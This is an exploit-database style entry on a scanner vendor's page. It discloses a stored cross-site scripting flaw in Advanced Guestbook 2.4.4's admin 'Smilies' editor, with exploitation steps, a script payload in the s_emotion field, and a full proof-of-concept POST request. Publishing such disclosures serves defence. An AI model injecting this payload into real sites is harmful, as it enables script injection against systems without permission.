advanced guestbook 2.4.4 smilies persistent crosssite scripting (xss)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




advanced guestbook 2.4.4 smilies persistent crosssite scripting (xss) Code Code...
				
# Exploit Title: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS) # Date: 17/08/2021 # Exploit Author: Abdulkadir AYDOGAN # Vendor Homepage: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook # Software Link: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook # Version: 2.4.4 Advanced Guestbook is a free open source guestbook script developed in PHP. Examples of features include email notifications, uploading pictures, html tags handling, multiple polls, comments and themes. #Description The following is PoC to use the XSS bug with authorized user. Firstly there are four part of a emotion object which is : - Emotion icon - Emotion file name - Emotion command which will be used to call this object (s_code) - Emotion description (s_emotion) Here is the exploitation steps for vulnerability: 1. Login to your admin account. 2. Go to "Smilies" tab to view and edit emotion icons 3. Click "edit" text in the "Action" column to edit emotions 4. Change emotion description to Javascript code 5. Click the "Submit Settings" 6. Click "Smilies" tab again to view all emotions and Javascript code will be executed # Vulnerable Parameter Type: POST # Vulnerable Parameter: s_emotion # Attack Pattern: <script>alert("Smile more!")</script> #PoC HTTP Request: POST /advancedguestbook/admin.php HTTP/1.1 Host: HOST_ADDRESS Content-Length: 175 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://HOST_ADDRESS Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://HOST_ADDRESS/advancedguestbook/admin.php?action=smilies&session=17395de9919fffa0ac9476370c2c7ba0&uid=1&edit_smilie=7 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: _ga=GA1.2.2068746825.1621203842; _gid=GA1.2.1432458757.1621203842; _gat=1 Connection: close s_code=:cool:&s_emotion=<script>alert("Smile more!")</script>&edit_smilie=7&uid=1&session=17395de9919fffa0ac9476370c2c7ba0&action=smilies&add_smilies=1

Advanced guestbook 2.4.4 smilies persistent crosssite scripting (xss) Vulnerability / Exploit Source : Advanced guestbook 2.4.4 smilies persistent crosssite scripting (xss)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.